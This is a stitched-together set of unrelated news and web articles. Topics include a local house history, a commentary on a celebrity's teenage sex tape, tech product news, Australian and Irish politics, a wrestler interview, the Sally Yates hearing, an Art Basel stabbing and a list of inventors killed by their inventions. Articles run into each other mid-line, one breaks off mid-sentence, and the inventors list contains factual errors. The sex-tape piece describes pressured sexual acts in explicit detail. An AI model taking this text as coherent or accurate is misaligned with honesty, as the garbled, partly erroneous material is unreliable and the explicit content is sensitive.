Dr. Joe Goodrich purchased lot 1 and half of lot 2 of the Wisconsin Heights addition in the city, and the house was moved to the corner of Elm and Fourth streets. Fourth Street later was renamed Chestnut Street. Goodrich lived there with his wife, Dr. Elizabeth Goodrich, and their two sons, Joe Jr. and Jim. Joe died in World War II, and Jim lives in Indiana. Both are graduates of Lincoln High School.
The McGrath family moved in with two sons and later added two more children. It might be the only home in the city where a Miss Wisconsin played the grand piano in the living room. Their daughter Molly won the title in 2004. The McGrath family now has five grandchildren with another due to arrive this year.
The first project the McGraths tackled after moving in was to add a fireplace in the living room. The footings were already there, so they just finished a plan that was started years earlier.
An open stairway leads to three bedrooms and a bathroom on the second floor. A small bedroom and half bath on the first floor is used as an office. The first time the McGraths looked at the home they realized it was a shrine to the son who died in World War II. The first landing going to the second floor opens to a large sundeck.
Also on the first floor is a dining room, kitchen and gathering room that once was an enclosed porch. French doors lead from the entry hall to the living room. Any changes that have been made have stayed true to the original footprint of the home. There are hardwood floors throughout and crown molding in many of the rooms.
An attached garage was converted to a three-season porch/spa when an unattached garage was built.
The McGraths rented a home when they moved to Wisconsin Rapids with their two young children. Ken is a retired history teacher from Lincoln High School, and Sue is a nurse retired from Riverview Hospital, where she managed emergency services and later was a nursing supervisor. She rode her bike to work and went past the house every day. When they heard it was for sale, they immediately checked into it.
The McGraths have decorated and furnished the home in ways to enhance this early 20th century structure. A traditional style fits well in this treasure of a home.
Dr. Joe Goodrich was born in 1884 in Athens, Maine. After graduating college, he studied Osteopathy in Missouri and earned his medical degree in 1915. He worked in Indiana for a year before coming to Wisconsin Rapids, where he was appointed hospital manager and served as administrator for many years. He enjoyed playing tennis, golfing, fishing and hunting.
Interesting fact: Before going to medical school, Goodrich decided to see the world. Not having any money, he became a tramp riding rail cars. He traveled with the then-famous King Hobo Pat Butterworth. They also rode in many foreign countries, cooking all their meals as well as sleeping in the open. He loved to entertain people with stories of his travels. Goodrich died at the age of 88 in 1972 and his wife, Elizabeth, died the year before.
Read or Share this story: http://wrtnews.co/1DjAUA1Yesterday a 10-minute clip from Kendra Wilkinson's teenage sex video hit the ‘net (it's NSFW but you're on your own to Google it). And what I saw was infuriating to me.
I'm not angered because I have any problem with watching sex on tape - for the record, I watched the Pirates porn last week, and it was better than 75% of the mainstream movies I've seen this year. No joke. And normally these celeb sex tapes don't bother me either, but this one in particular pisses me off.
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Kendra doesn't really want to be videotaped. She says so on quite a few occasions.
"Please don't do it," she says. "Please?"
"Kendra," he says, annoyed. "I'm barely zooming in. Just go."
"Can you not?"
"You'll like it. Trust me. Watch. Go."
Kendra seems resigned to her fate, and, almost instantaneously, she shifts characters, from a very young woman being pressured into a sexual situation she finds uncomfortable to a willing sexpot, grinding obligingly on the bed with a black panther blanket across it. (Jesus Christ.)
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As her male companion puts the camera close-up on her vagina, she shuts her legs.
"What?" he whines. "Just do it. Just keep messing around."
She pushes him and the camera away several times after that, each time slipping instantly back into character as soon as he expresses annoyance.
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He begins performing oral sex on her. She's not entirely comfortable with this. She wriggles around and clamps her legs close, against his head.
"Keep ‘em open. Keep ‘em open. Keep ‘em open. Open your legs. Open ‘em. Open ‘em."
They have sex. He has trouble staying hard. He's gross, really - a balding redhead in his late teens or early twenties with a pube-hair goatee, bad teeth and a too-large nose - pudgy and pale all over.
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He comes inside her, even though she's obviously asked him not to. She makes a face and she rolls off the bed. He acts surprised and upset by her action. She tells him she doesn't like it when he does that. He mutters something about a blow job.
This isn't a sex tape, really. It's that thing we talk about that happens to our young women. That thing that we, as grown-ups, write about and research incessantly and condemn broadly, but don't remember so vividly. It's right here on video.
It reminds me to some extent of the Paris Hilton sex tape, but even more so here. It's that space where young women have discovered and perfected their sexuality and its value, but haven't yet figured out how it's empowering. They just know that it's something people want from them; it's something people expect from them. Something young men expect from them; something, perhaps, that young men haven't learned how to ask for politely. It's uncomfortable and new and everybody's learning, and what happens, more often than not, is that the male partner's desires come first and more forcefully, and the young woman is disrespected and disempowered and left with a sense that she's less valuable and less capable of demanding respect and control than her male counterpart - a sense than lingers into her twenties and beyond, even though she might not recognize it as such.
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You should not be turned on by this. You should be pissed off.
This isn't rape - not even close. And Kendra's not even unhappy the whole time. But you can tell who's in charge; you can tell who's in control. It's made clear. Kendra's requests are completely ignored; she's totally disrespected here, naked and exposed.
So the next time some enterprising journalist wants to wax poetic on "what's happening to our daughters" - to cite studies and surveys and books upon books - maybe she could take ten minutes and watch the Kendra Wilkinson sex tape. What's happening to them is right here, right on video.
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This post originally appeared on The Evil Beet. Republished with permission.
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Contact the author of this post at spasulka@gmail.com.Granted, other UAV platforms like the eye3 and MikroKopter hexadrones the have been able to handle interchangeable lens cameras for a while. However none of them offer as many flight modes and control mechanisms as the Inspire 1. "In order to achieve the quality of video produced by Zenmuse X5 and X5R, pilots used to have to spend many thousands of dollars for large, complicated aerial equipment," Frank Wang, DJI CEO and founder, said in a statement. "Now, pilots can simply mount the Zenmuse X5 series cameras to their Inspire 1, put on their props, get up in the air and have full control of their shot while in flight. This saves valuable time on film sets and makes high-quality imaging for industrial applications smaller, lighter and easier to manage."
Don't expect these cameras to come cheap though. An Inspire 1 with an X5 body and a 15mm f/1.7 ASPH lens will set you back $4,499 (if you pre-order) when it begins shipping at the end of the month. The X5R version is expected to hit store shelves by the end of the year and will cost $7,999. For comparison, the regular Inspire 1 and its standard camera costs $2,899.Bill Shorten accuses Tony Abbott of politicising terror laws
Updated
Federal Opposition Leader Bill Shorten has accused the Prime Minister of seeking to politicise the process for bringing in anti-terrorism laws.
Tony Abbott wrote to Mr Shorten last month calling on Labor to pass proposed data retention laws by the middle of next month.
The laws would force telecommunications companies to store data about their customers' phone and internet use for two years.
Mr Shorten's office has released a letter he wrote to Mr Abbott on February 9 saying Labor supports the bill being dealt with quickly, but only once a committee looking into it has finished its work.
"I am disappointed that recent media briefing has sought to politicise the development and consideration of anti-terrorism legislation," Mr Shorten wrote.
"This is at odds with a responsible and bipartisan approach to such important issues."
Mr Shorten said the committee has been informed of a number of concerns about the bill that should be dealt with, including how much keeping the data would cost and its impact on press freedom.
The Opposition Leader said he also wanted to know what kind of data would be kept.
"We should be able to work these issues through but it is important in a democracy that we get the balance right," Mr Shorten said today.
Mr Abbott today hinted at a national security crackdown in the wake of the deadly Sydney siege, warning Australia would not let "bad people play us for mugs".
He will make a security statement next Monday and he is also soon to release a joint review by both the NSW and Commonwealth governments into the Lindt cafe siege, which left two hostages and the gunman dead.
In a video message at the weekend, Mr Abbott said people who might be a threat to Australia had been getting the benefit of the doubt for too long.
"There's been the benefit of the doubt at our borders, the benefit of the doubt for residency, the benefit of the doubt for citizenship and the benefit of the doubt at Centrelink," he said.
"And in the courts, there has been bail, when clearly there should have been jail."
Mr Shorten called on Mr Abbott to explain what the problems are and how he plans to fix them.
"He has said there is softness in the system, well that's alarming," he said.
"I think Tony Abbott needs to come clear about where he thinks the softness is and then what we will do is work with him to make sure Australians are safe, that's our record."
Topics: abbott-tony, terrorism, federal-government, bill-shorten, government-and-politics, immigration, defence-and-national-security, australia, nsw, sydney-2000
First postedDUBLIN (Reuters) - Three independent Irish members of parliament, including a former junior minister, set up a new centre-left party on Wednesday, preparing for elections early next year that could usher in a multi-party coalition.
The Social Democrats are among a number of new parties to emerge in a bid to challenge one of the continent’s most stable political systems seven years after Ireland was plunged into a debilitating financial crisis.
While Irish Prime Minister Enda Kenny’s Fine Gael remains the most popular party according to opinion polls, it may struggle to retain its two-party coalition with Labour, having swept to power in 2011 with a record parliamentary majority as a coalition.
The Social Democrats party follow Renua, a new centre-right party set up by former Europe minister Lucinda Creighton, and a third catch-all grouping of non-party MPs in setting out its stall ahead of elections due to take place by April next year.
“We know that a significant proportion and possibly the majority of Irish people have become disillusioned with the existing political parties and the democratic process,” the Social Democrats’ Roisin Shortall told a news conference.
£What has happened in this country, the disastrous collapse of the economy was caused by a failure of politics,” said Shortall, who quit as a junior minister and a member of the Labour Party in 2012 over the coalition’s health policy.
As Ireland’s economy recovers and allows a reversal of years of tax hikes and slashed spending, the Social Democrats said it would favour a 2-to-1 ratio in favour of spending over tax cuts, compared with the even split advocated by the current coalition.
It said it would also seek to abolish water charges and reform Ireland’s abortion laws, two likely election issues.
The new parties are hoping to win the backing of critics of the government who believe little has changed in the political system since the crisis and capitalise on the strong support for independent candidates in opinion polls.
“This is all about government formation. It seems likely Fine Gael and Labour might not get a majority, then they will need the votes and this is exactly what these groupings are thinking,” said Liam Weeks, politics lecturer at University College Cork.United States Champion, Intercontinental Champion, World Tag Team Champion and World Heavyweight Champion. Not to mention one of the young rising stars in the WWE.
Nick Nemeth, known by his WWE character Dolph Ziggler, has represented the city of Cleveland very well on such a huge stage.
The 31-year-old St. Edward and Kent State product has been wrestling since the age of 5 and has had success at every level on his road to the WWE.
From holding the school record for most pins in a career with 82 in high school to having 121 career wins between 2000 and 2003 at Kent State, Nemeth has brought that excellence to millions each week across the country.
The political science major and pre-law minor college graduate was a three-time All-Mid-American Conference champion, winning the 165 lb tournament in 2000, 2002, and 2003, and is the last wrestler from the university to have won three amateur wrestling championships.
With WWE's 'Monday Night RAW' coming to Cleveland on March 12, I had the chance to speak with Nemeth about growing up in Lakewood and being a huge Cleveland sports fan. We also discussed his career and his dream Wrestlemania opponent.
Being a Cleveland sports fan all his life:
"I went to them all. The Cavaliers used to play at the Richfield Coliseum and I actually went to say them when I was a little kid. Mark Price, Brad Daugherty, Larry Nance, all those guys. We used to have to drive 40 minutes to get out there just to see a Cleveland game. It was fun, we used to make a whole day out of it going to see the Cavs or even a WWE show. Always a big fan of the Browns, of course. No wonder how bad they lost or how much we froze to death out there, we still went to the games to watch them lose."
"Every summer I look back to getting there a couple times and seeing a couple games. If you saw The Miz throw it, it's kind of like a little girl or little boy throwing the ball for the first time. Kind of like me throwing left-handed. You would see a real athlete do well and make the city proud, the city I'm actually from, Cleveland, even though he (The Miz) is not. Couldn't wait and be more happy to do it. I'd love to be on the field for Browns game too. Fan of all the Cleveland sports teams, but I'm more pro-Browns than anyone."
"I heard a rumor that he's possibly coming back. I don't know. I forgive and forget. Also, I have a really bad memory, I used to fall down a lot. He gave it a long try and it didn't work out. If he is looking to come back, I think he went about leaving the wrong way if he is looking to come back to this town. Even though we are more than happy to do well and have a hometown kid, when you kind of kick us in the crotch and leave town, it's hard to come back in. We are also very forgiving because for 25 years we sat through Browns games and always stood by them. I'm sure we will give him a second chance. Going to take some boos, but that's what happens when you punch us in the stomach and walk away."
"The Richfield Coliseum show I mentioned before, featuring Hulk Hogan vs. Harley Race in 1984 or 85. My dad took me, I was five years old. We saw that show and I told him 'can I start wrestling?'. Two months later, he signed me up for wrestling. Just once or twice a week. But at five years old, I started and I never stopped. All the way through high school and college. I still go back around Christmas and wrestle around with the St. Edward guys sometimes. Been a huge fan all my life. I'm living my dream and I continue to do every single day."
"Yeah, it was my first time. At least that's what I told her. Honestly, that thing is crazy. I like to go above and beyond. I never give less than 100%. But that thing hurt like hell. I tried to sacrifice every ounce of my body to somehow stay in it all the way and ended up coming up a little short. But at least The Miz was out there. So at least he wasn't in a gym or wrestling school somewhere, we know he was in that match."
"You know what, I'm out there to give 100% and I do what I think is best. I really don't care what other people think. I know a lot of people like that song. I liked that song. I'm done being perfection. I still do on a day-to-day basis, I just don't need to let everyone know about it. I'm 'Here to Show the World' is simply put, every single night when I go out there, I steal the show. I do what I do best and that's take it away from every one else. And when everyone else goes to Wrestlemania to see Rock vs. Cena, there going to leave knowing I stole the show."
"Well, I was watching a lot of I.R.S. and Brooklyn Brawler tapes at the time. I really liked the way they closed-out matches. I got a little over-zealous and thought I could still be myself and kind of portray people I'm huge fans of. And obviously you got to go out there and stick with what you know and what you are. I got to be myself. So long, blonde hair bouncing around and taking care of business in the ring. I knew it was a little bit of a mistake. But without valleys, there's no peaks. So, you got to go down to go up. I learned a lesson to just be myself out there."
"Shawn Michaels, 1997. That's someone who could actually hang with me for 60 minutes, Iron Man Match. Let everyone know who is the best ever, not just best in the world who puts it on a t-shirt or shows up for six months a year. But someone on the roster right now, it would be Tyson Kidd. Me and him go out there and tear it up. Show everyone what wrestling is really about. And still make them care. And have them come away knowing that's the best match they have ever seen."
"Yes, it’s always great to go back there. I have a lot of friends, a lot of fans. A lot of people who hate me from high school and college that I stole their girlfriends from or whatever the deal is. Either way, there are people reacting because they know me. I love going back to Cleveland. I like to go out there and let everyone know that I’m representing Cleveland when I go out in the ring and put on the best match of the night."
Ziggler will be coming back home on Monday, March 12, at Quicken Loans Arena as 'Monday Night RAW' will be live in Cleveland
You can also check out Ziggler's YouTube show called "WWE Download", which features a new episode every Tuesday.
And be sure to follow Ziggler on Twitter: @HEELZiggler.Intel has announced its new SSD brand Optane at Intel Developer Forum in San Francisco. The new, insanely fast SSD’s will launch as early as next year.
Intel’s new 3D XPoint technology is also coming in DIMM memories for Xeon processors. The 3D XPoint is going to be available in both PCIe SSD and DIMM memories next year and they are sold under the brand Optane. The products will be available for servers, desktops and laptops.
Intel claims that the new 3D XPoint technology has 1000 times the speed and endurance of the currently used NAND technology and it’s 10 times denser than DRAM. According to the keynote, the early Optane prototype easily beats Intel’s current flagship SSD, P3700. The IOps benchmarks revealed that the Optane prototype is a good 7 times faster.
The new technology really puts pressure to other manufacturers. The speed the |
support to the police in the investigation.“At this time, we have no indication of the reason for death. The student's parents are being informed. The Institute offers its heartfelt condolences to the student's family and near and dear ones for the unfortunate and devastating loss,” read the statement.On September 23, an M Tech student from Andhra Pradesh had been found hanging in his room.Facebook Messenger is getting smarter.
Facebook is folding its facial recognition technology into its messaging app, Messenger. It’s the same tech used within Facebook to encourage users to tag their friends in photos. In Messenger’s case, the app will now look at your photos, identify who is in them, and encourage you to share those photos with those friends.
The whole point of this is to get people sharing more on Messenger, specifically within groups, explained Messenger product manager Peter Martinazzi. Facebook is building lots of artificial intelligence, and it’s starting to get more aggressive about integrating that technology into actual consumer products. The facial recognition tech, for example, was also folded into the company’s new photo storage app, Moments, a few months back. Messenger is also testing a virtual assistant to help people do everyday tasks like shop or manage their calendars.
The point of all this is to keep people engaged the app. If Facebook Messenger can remind you to share photos with your friends or pick up your dry cleaning, you may be more likely to use it than other messaging apps or services.
“We like to look at the use cases for what people are doing now and what people could be doing, and how could we make it even easier,” said Martinazzi, who added that people used Messenger to send 9.5 billion photos last month. “Lots of times [artificial intelligence] can be a great tool for that.”
The challenge, though, will be making products that feel smarter without feeling too smart or creepy. If facial recognition technology inside your messaging app feels that way to you, you can turn off the feature in settings.
Messenger is only launching the new feature as part of an app update in Australia on Monday, but plans to roll it out more broadly in the coming weeks.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
May 8, 2017, 6:34 PM GMT / Updated May 9, 2017, 11:27 AM GMT By Ken Dilanian
Former Acting Attorney General Sally Yates testified Monday that she told the White House that then-National Security Adviser Mike Flynn could be "blackmailed by the Russians," because he misled the vice president about his "problematic" conduct.
"We were concerned that the American people had been misled about the underlying conduct and what General Flynn had done," Yates told a Senate Judiciary subcommittee.
Yates declined to go into specifics, which she said were classified, but she essentially confirmed news media accounts about what led up to the firing of Flynn in February. Flynn misled officials, NBC News and others have reported, by saying he hadn’t discussed Obama administration sanctions on Russia, when in fact he had.
Yates said she expected the White House to act on the information she conveyed. But it was only 18 days later, after the Yates warning leaked, that the White House pushed Flynn out.
Yates said she conveyed the information to White House counsel Don McGahn on Jan. 26, two days after Flynn was interviewed by the FBI on Jan. 24. McGahn asked Yates how Flynn did in the interview, she testified, "and I declined to give him an answer to that."
Yates said she felt it was critical to get the information to the White House "in part because the vice president was unknowingly making false statements to the public," and also because Flynn was compromised, given that the Russians knew he was misleading other officials.
Yates said McGahn asked her, "Why does it matter to the DOJ if one White House official lies to another official?" She explained that the American public was being misled, and that the Russians knew that.
"To state the obvious, you don’t want your national security adviser compromised by the Russians," Yates said she replied.
Yates made clear that the concerns she raised had solely to do with Flynn’s contacts with the Russian ambassador, and not his paid speech for a Russian state media organization or his lobbying for Turkish interests, two other issues that have brought him law enforcement scrutiny.
Asked by Sen. Richard Blumenthal (D-Connecticut) if Flynn lied to the FBI, Yates said she couldn’t answer because that would compromise an "ongoing FBI investigation." Her remarks appeared to confirm that Flynn is the target of an FBI investigation.
In other developments, former Director of National Intelligence James Clapper told senators he had not been aware of the FBI’s counter-intelligence investigation into possible collusion between Trump associates and the Russian election interference operation.
"Given its sensitivity, even the existence of a counter-intelligence investigation is closely held, including at the highest levels," Clapper said.
Former acting Attorney General Sally Yates and former Director of National Intelligence James Clapper testify on May 8, 2017, before the U.S. Senate Judiciary Committee on Capitol Hill in Washington. Jim Watson / AFP - Getty Images
This puts into context Clapper’s March 5 statement that he had seen no evidence of collusion between the Trump campaign and Russia. He repeated that statement in the hearing, saying he had seen no evidence of collusion.
But Yates declined to answer the same question, saying that her answer would require her to reveal classified information.
Yates was fired by President Donald Trump after 10 days as acting attorney general when she declined to enforce his executive order on travel and immigration.
Obama Warned Trump About Flynn
Yates and Clapper's testimony comes after NBC News revealed Monday that former President Barack Obama personally warned Trump against hiring Flynn less than 48 hours after the November election.
The president sought to get out ahead of the any unpleasant disclosures on Monday morning, casting aspersions on Yates — the the 27-year Justice Department prosecutor who warned the White House that Flynn had misled officials about his conversations with the Russian ambassador.
Michael Flynn, then, National Security Advisor to US President Donald J. Trump, attends a press conference on Feb. 10, 2017 in the East Room of the White House in Washington, D.C. Jim Lo Scalzo / EPA
"Ask Sally Yates, under oath, if she knows how classified information got into the newspapers soon after she explained it to W.H. Counsel," Trump tweeted, referring to Yates’ conversation with White House counsel Donald McGahn.
It was more than a week after Yates raised concerns about Flynn with McGahn that the story leaked to the Washington Post, prompting a series of events that led to Flynn's ouster from his White House job.Melbourne Cup: Michelle Payne, Prince of Penzance welcomed home in Ballarat
Updated
Crowds have filled Ballarat's main street to welcome home the Melbourne Cup's newest champions, Michelle Payne and the Prince of Penzance.
The dark and drizzling day in Ballarat did not stop fans from gathering on Sturt Street to cheer on the championship duo.
They were joined by trainer Darren Weir and Payne's brother, Stevie, who received tumultuous applause when he held the cup aloft.
Michelle Payne made history on Tuesday when she thundered past the posts and became the first woman ever to win the Melbourne Cup.
It was a special moment for Payne, who called out the male-dominated sport immediately following her victory.
The 30-year-old was emotional as she took to the stage.
"It's just so overwhelming to see you all here and I can't be thankful enough about what's happened to me in the last week," she said.
"I'm a bit loss for words. It's an incredible day to be here and I'm so proud to be a Ballarat girl."
At the front of the stage were girls from Payne's old high school, Loreto College, in Ballarat.
"Unfortunately I left when I finished year nine," she said.
"I said to my dad when I was leaving that I wanted to stay at school and try and do both and unfortunately he said you had to choose one or the other because it was too hard to do both.
"That just goes to show how much I love that school."
Weir revealed he knew the Prince of Penzance could make history when Payne's brother, Stevie, drew barrier one.
"You need so many things to go right in horse racing and I would say especially in this race," he said.
"We got the good draw, we had a super-fit horse on the day."
He said their strategy on Tuesday was for the Prince of Penzance to follow Max Dynamite and Criterion.
"I said to Michelle, just follow them for as far as you can, they'll cart you to the top of the strait," he said.
"So she listened to me for about 2,400 metres of the race and then I'm glad she took it into her own hands.
"There are some of the world's best riders there and she outrode them. It's a credit to her."
Payne has already admitted retirement might not be too far away, but said for now, she was just focusing on the next race.
"I'm nearly looking forward to the Ballarat Cup as much as the Melbourne Cup," she said.
"Because if anything was going to be as special as that, it would be winning your hometown cup.
"I absolutely can't wait to get out there."
Topics: event, community-and-society, horse-racing, sport, ballarat-3350
First postedAn associate of Zhao has called her 'understanding' and said she recently moved from Oregon to New York City with graduate school plans
Siyuan Zhao, 24, allegedly stabbed 33-year-old Shin Seo Young in the neck with an X-Acto knife at the Art Basel event in Miami on Friday
The woman who allegedly stabbed a stranger in the neck with an X-Acto knife at the legendary Art Basel Miami Beach is an aspiring architect who recently moved to Manhattan with graduate school plans.
Siyuan Zhao, 24, was arrested on an attempted murder charge for stabbing 33-year-old Shin Seo Young on Friday evening at the Miami Beach Convention Center in a corridor near an art installation entitled 'The Swamp of Sagittarius’, created by Miami artist Naomi Fisher and partner Agatha Wara.
The Chinese national, who is in custody, graduated earlier this year from a five-year architecture program at the University of Oregon and had many friends, an associate of Zhao said.
Siyuan Zhao was arrested immediately by a Miami police officer, whom she made a shocking confession to. She has been charged with felony attempted murder. Zhao, a Chinese national, graduated earlier this year from a five-year architecture program at the University of Oregon and had many friends, an associate said
Shin Seo Young, 33, was stabbed with an X-Acto knife during at Art Basel Miami Beach on Friday in the Miami Beach Convention Center
‘She was a very understanding woman,’ the associate, who did not want to be identified, told Page Six. ‘I really couldn’t imagine she would be related to something like this.’
The associate said the five-foot-four, 110lb attacker had an apartment on the Upper East Side in Manhattan.
Police said the Young confronted Zhao about purposely following her around the art show and bumping into her several times.
Zhao then pulled out an X-Acto knife and stabbed the Youngin the right side of the neck and left shoulder without warning or provocation, authorities said.
Young suffered several cuts, and a photo taken of her shows blood all over a white jacket that she was wearing as she sat on the ground covering her face while someone applied pressure to her neck wound with what appeared to be a white cloth.
She was taken to Jackson Memorial Hospital and is expected to survive.
Young received first-aid treatment at a gallery inside. Police said Young confronted the suspect, Siyuan Zhao, about purposely following her around the art show and bumping into her several times
Rescue workers remove Young from Art Basel after she was stabbed with an X-Acto knife in the right side of the neck and left shoulder
Zhao was arrested immediately by a Miami police officer whom she made a shocking confession to and is being held on a $25,000 bail.
While she was being patted down by the officer, she said, 'I had to kill her and two more. I had to watch her bleed,' according to Local 10 News.
At the time of the stabbing, Fisher said she heard a scuffle at her exhibit and later saw Young being wheeled away by paramedics.
'A guy walked up to me and said, 'I thought I saw a performance, and I thought it was fake blood, but it was real blood,' Fisher told the Miami Herald.
She explained that the stabbing happened in front of booth N29, where Freedman Fitzpatrick Gallery from Los Angeles was exhibiting.
'It's horrible... I'm so freaked out,' Fisher told the Herald. 'I feel nauseous.'
Art Basel Miami Beach spokeswoman Sara Fitzmaurice said in a statement: 'The attack was an isolated incident that was immediately secured.
The victim suffered several cuts and was taken to Jackson Memorial Hospital. She is expected to survive
Miami Beach police Det. Kathleen Prieto said that at least one witness thought it was a performance with fake blood until he realized that the blood was real and a woman had been stabbed
'The suspect was apprehended by police who were at the scene within seconds of the incident.... Our thoughts are with the victim.”
Young and Zhao were patrons of the art show and not exhibitors.
Another person thought the police tape around the scene of the incident was actually an art installation.
Last week, police and Art Basel officials announced that they had increased security in and around the convention center after the terrorist attacks in Paris.
Security guards and event organizers worked quickly to clean up the blood drops left at the scene of the stabbing, and to keep the public's attention focused on the art, the Herald reported.
Art Basel Miami Beach is attended by thousands of people from all over the world. The four-day fair closes on Sunday.
It is the extension of the annual contemporary art fair in Basel, Switzerland.
Courtesy WSVNJennifer Lawrence Has "Hope" for Return as Mystique - IGN News
Jennifer Lawrence Has "Hope" for Return as Mystique - IGN News
Share. She's feeling a bit blue about her body paint. She's feeling a bit blue about her body paint.
X-Men: Apocalypse might not be Jennifer Lawrence's last appearance as Mystique.
According to EW, the reason why Apocalypse might be Lawrence's last X-Men movie isn't because of a lack of love for the series.
Exit Theatre Mode
"I love working with Bryan [Singer], and I love these movies," said Lawrence.
The reason she's considering leaving is because of the "fumes and toxins" of the Mystique body paint that she didn't care about when she signed up for X-Men: First Class at age 20.
"Now I'm almost 25 and I'm like, 'I can't even pronounce this and that's going in my nose. I'm breathing that?'" said Lawrence.
Exit Theatre Mode
As for whether Lawrence would consider playing Mystique again after X-Men: Apocalypse, she had this to say.
"There is hope. I don't want to not be asked."
In other X-Men: Apocalypse news, Evan Peters recently talked about playing Quicksilver, a producer addressed the Comic-Con footage leak, while official images have appeared online.
Nathan Lawrence is a freelance writer from Sydney who's nowhere near as famous as Jennifer Lawrence. Track him down on Twitter.Sometimes we have to be told when an idea is bad, like sticking a fork in a power outlet or using a knife to pry a piece of bread from a toaster, but for all those things that are clearly bad ideas, someone first, must have done it.
Fate and fame are a fickle mistress of irony for the struggles of an inventor. Never an easy undergoing to develop a solution to some of the world’s most profound complexities and limitations, the life of an inventor is a lonely tribulation of problem solving their creations through the wondrous art of trial and error. But such is the quandary of inventing, it is the nature of pushing the boundaries of what is possible; taking theory and applying them to reality in a pursuit to discover the next big thing and propel humanity to a new plane of exploration.
However, inventing is not a simple task for the would-be Edisons of the world. Inventions break, designs are modified, variables and improbabilities are re-evaluated, re-calculated and re-designed and sometimes, these inventions don’t necessarily prove to be remarkable breakthroughs, but rather alternative means of cutting one’s life shorter than intended.
Below is a compilation of some of the most famous inventors killed by their own inventions in a cruel fate of Darwinian curiosity and death-by-misadventure. However, as Otto Lilienthal once said of death in the pursuit of technological advancement, “small sacrifices must be made!”
1. Francis Tovey – Australian millionaire, Francis Peter Tovey was 81-years-old when he designed, constructed and programmed his own makeshift robot. While most people see a robot as being useful in housework and manufacturing assembly lines, Tovey had other intentions for his machine.
Distraught over recent demands from family members that he leave his home and enter assisted-living care, Tovey perused the Internet for information on how to design, construct and program a robot that would assist him in an act of euthanasia. In 2008, Tovey took his creation to the driveway of his property and activated his robot, programmed to fire three consecutive shots, each of which struck him with a killing blow.
2. Ismail ibn Hammad al-Jawhari – If man were meant to fly, surely he would have been born with wings, but that wasn’t the case for Ismail ibn Hammad al-Jawhari, a Muslim Kazakh Turkic scholar who was notable as being the author of the Arabic dictionary.
During 1010, Ismail Ibn Hammad al-Jawhair, climbed to the roof of a mosque and using two wooden wings, he addressed spectators with what would be his final words saying, “O people, no one has ever tried what I am about to do right now. I am going to fly now. The most important thing to do in this world is flying. Now I am going to do that.” Alas, he fell to his death.
3. Otto Lilenthal – Unlike Reichelt, Lilenthal was a pioneer of human aviation, and became infamous as the Glider King. Not only was he the first person to make repeated and successful gliding flights, but newspapers and magazines in many countries published photographs of Lilienthal gliding, which only encouraged the possibility of flying machines becoming practical reality. However, on a flight on August 9, 1896, Lilienthal fell 17 meters, breaking his spine. Prior to his death the next day, his last words spoken were, “Small sacrifices must be made!”
4. Franz Reichelt (The Flying Tailor) – In a nod to Icarus, an Austrian tailor decided to test his abilities of flight in 1912, after famously creating a strange hybrid overcoat/parachute. Determined to test the coat’s ability to battle the laws of gravity, Reichelt decided he would conduct his experiment from the first deck of the Eiffel Tower in front of a group of spectators and the camera crew. However, as he leapt over the railing to put man in air, he proceeded to fall straight down, dying upon impact.
5. William Bullock – It was in 1863 that American inventor William Bullock invented the rotary printing press, which quickly revolutionized the printing industry for its speed and efficiency, however, it would be that very same invention that would inadvertently take his life. While attempting to repair one of his printing presses, Bullock suffered injuries when he crushed his foot under one of the machines while trying to kick a pulley into place. His foot soon developed gangrene and Bullock died during an operation to amputate the infected limb on April 12, 1867.
6. Thomas Midgely, Jr. – With the threats of global warming, the depletion of the ozone layer and high atmospheric lead levels caused by large-scale combustion of leaded gasoline all over the world, one man who’s been said to have “had more impact on the atmosphere than any other single organism in Earth’s history can be thanked” – Thomas Midgely, Jr.. Midgely was an American chemist and engineer who contributed in the development of leaded gasoline and the synthesis of freon, but as with all toxic chemicals, Midgely contracted Polio and lead poisoning from his exposure to the chemicals which soon left him disabled on his bed.
Always a practical thinker, Midgely devised an elaborate system of strings and pulleys to help others lift him from his bed, but as irony would have it, the system failed when he accidentally became entangled within the ropes of his device. While some have also considered Midgely to be “the one human responsible for more deaths than any other in history”, his death at the age of 55 on November 2, 1944, is notable for the fact that both his inventions, leaded petrol and his pulley system, had each contributed to his death.
7. Marie Curie - Alongside her husband Pierre Curie, Marie was a joint winner of the Nobel Prize in 1903. It was during her career that she became famous as the French-Polish physicist and chemist who discovered a host of new elements, including radium and polonium, as well as developing the theory of radioactivity and the isolation of radioactive isotopes. However, as trial and error would show, she died of aplastic anaemia on July 4, 1934, from years of exposure to the damaging effects of ionizing radiation.
During this time, when the severe concern of radiation was unknown, Currie had carried out much of her work from a shed without any safety measures, and on numerous occasions carried test tubes containing radioactive isotopes in her pocket and even stored them in her desk drawer, commenting how the substance emitted a pretty blue-green light in the dark.
8. Michael Dacre – British aviation pioneer, Michael Dacre had a dream that one day his Jetpod would become a medium range air taxi that would be economically affordable for any person to use for cheap and quick transport from city to city.
Since 1998, the Jetpod was the main design proposal for Avcen Limited, however, it was in 2009 that the prototype for the Jetpod crashed during its fourth flight, killing the founder of the company Dacre, who was at the controls during that time.
9. Henry Winstanely – A famed English lighthouse architect and engineer, Winstanley constructed the first Eddystone lighthouse and determined to test the lighthouse’s strength should it be hit during a storm. Unfortunately for Winstanley, it was during the Great Storm of 1703, which would go down in history as the most severe storm ever recorded in the southern part of great Britain. While inside the lighthouse, the tower of stones collapsed, killing Winstanley and five others.
10. Harry K. Daghlian – It was during 1945, WWII had come to an end, but for the last four years, the United States with participation from the United Kingdom and Canada were well underway with the Manhattan Project. It was through this research and development program that the three countries worked to create and produce fissionable materials such as nuclear weapons.
Among those working with highly volatile materials was Harry K. Daghlian, an Armenian-American physicist. It was on August 21, 1945 when he accidentally irradiated himself during a critical mass experiment at a remote facility in New Mexico. It was while Daghlian was working alone performing neutron reflection experiments on what would become known as the Demon Core, when he accidentally dropped a brick on the core, he caused the core to go critical. However, acting quickly, he moved the brick away, but not in time to prevent a fatal dose of radiation from entering his system.
Twenty-five days later, Daghlian died from his acute radiation poisoning. Even with such a disastrous death, it wasn’t enough to stop another scientist from carrying on from where Daghlian failed.
11. Louis Slotin – Louis Slotin was a Canadian physicist and chemist, working for the Manhattan Project. It was shortly after the death of Harry K. Daghlian when he took over performing experiments with uranium and plutonium cores to dertermine their critical mass values.
However, Slotin accidentally initiated a fission reaction when, while using a screwdriver to separate the half-spheres of the Demon Core, he slipped causing a prompt critical reaction. This accident caused the room to glow blue with air ionization, meanwhile scientists in the room recorded feeling a heat wave.
